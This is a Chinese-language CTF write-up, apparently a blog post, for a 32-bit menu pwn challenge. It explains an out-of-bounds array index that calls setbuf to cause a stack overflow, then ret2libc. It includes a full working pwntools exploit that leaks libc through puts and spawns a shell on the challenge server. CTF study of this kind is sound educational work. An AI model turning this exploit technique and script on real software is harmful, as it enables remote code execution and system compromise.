看学弟在群里提到刷题过程中遇到了一道setbuf缓冲区,且是一道签退题,就想到了该题,于是就打算写一下。
分析

一道32位题目,开启了NX保护与Partial RELRO,接着放入ida中进行分析。

先是设置缓冲区,将标准输入与标准输出都设置为无缓冲,然后进入vuln函数。

是一道菜单题目,有add、delete、post三个功能。通过大致的分析可以知道此题主要的关键变量为letters,其位于栈上1328字节长的一段内存。接着再分别仔细分析三个关键函数
add函数

通过ida静态分析可以知道,最多能创建5个letter,每个letter占0x108个字节长的内存空间,前4个字节长的空间存放是否被使用的标识即0或1,紧挨着4个字节长的空间存放输入的contents的长度,再接着才是存放输入的contents的具体内容。我们可以用gdb进行调试一下:

可以看到,在输入contents后,栈上的数据和上述分析的一样。
delete函数

用户需要输入正确的ID,接着分别将选择的letter的标识、长度以及contents清空,其实就是一个简单的删除功能,看起来没什么问题。
post函数

这个函数传入了两个参数,一个是存放letter的内存空间,一个是文件fd,而这个就是/dev/null。在该函数的功能方面依旧是需要选择正确的id,再选择filter,通过选择不同的filter对letter进行操作,这里需要传入三个参数:fd、letter的contents以及contents的长度。
题解
通过上述分析,本题限制了输入字节长度,正常情况下是无法造成溢出的。在post函数中存在一个数组越界漏洞,即我们输入的n2可以为负数,那么我们输入负数就可以访问到got表上的内容,并将其作为一个函数调用

但是有一个问题在于,函数的调用需要传入FILE *、char *与int这三个参数,同时该函数还能用来进行攻击。因此本题最精彩的一点就是得用setbuf函数来进行攻击,使用setbuf函数将buf与fd绑定,再多次向fd中写入数据从而就可以造成溢出了。通过分析,第五个letter造成溢出至少要0x108+4个字节,而每一个letter可以输入0x100个字节,因此我们只需要构造第一个和第二个letter,再post到第五个letter从而造成溢出即可。
ok,那么我们先add所需letter,至于为什么构造payload2的时候是0xD而不是0xC,是因为在动调的过程中发现实际上payload1的长度为0xFF个字节,并不是0x100个字节,所以在构造payload2的时候需要多输入一个字节。

payload1=b"a"*0x100 payload2=b"a"*0xD+p32(puts_plt)+p32(vuln)+p32(puts_got) payload3=b"aaaa" payload4=b"aaaa" payload5=b"aaaa"
add(payload1) add(payload2) add(payload3) add(payload4) add(payload5)
|
接着再setbuf将fd与letter5绑定
setbuf_index=int((setbuf_addr-func_addr)/4) post(4,setbuf_index) post(0,0) post(1,0) quit()
|

选择0时,就是将构造的letter里面的数据写入到文件中,由于我们将文件与letter5绑定到了一起,因此就相当于往letter5里面写入数据从而造成溢出。后面就是借鉴前面思路的打ret2libc了。
exp
from pwn import* context(arch='i386', os='linux',terminal=['tmux', 'splitw', '-h']) pwn_file='./signout' libc_file='./libc.so' elf=ELF(pwn_file) libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='pwn.challenge.ctf.show' port=28233 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16)
def debug(): gdb.attach(io)
def add(contents): sl(b"1") sl(contents)
def delete(id): sl(b"2") sl(str(id))
def post(id,choose): sl(b"3") sl(str(id)) sl(str(choose))
def quit(): sl(b"4")
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] vuln=0x08048BD0
payload1=b"a"*0x100 payload2=b"a"*0xD+p32(puts_plt)+p32(vuln)+p32(puts_got) payload3=b"aaaa" payload4=b"aaaa" payload5=b"aaaa"
add(payload1) add(payload2) add(payload3) add(payload4) add(payload5)
setbuf_addr=0x0804B00C func_addr=0x0804B048
#debug() setbuf_index=int((setbuf_addr-func_addr)/4) post(4,setbuf_index) post(0,0) post(1,0) quit()
puts=uul32() print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
payload6=b"a"*0xD+p32(system)+p32(vuln)+p32(bin_sh)
add(payload1) add(payload6) add(payload3) add(payload4) add(payload5)
setbuf_index=int((setbuf_addr-func_addr)/4) post(4,setbuf_index) post(0,0) post(1,0) quit()
io.interactive()
|
总结
总的来说还是一道不错的题目,不是常规的ret2libc题目,但还是挺简单的。该题先通过数组越界调用setbuf函数,再利用setbuf函数将输入输出流和缓冲区数据同步,多次写入打栈溢出从而打ret2libc。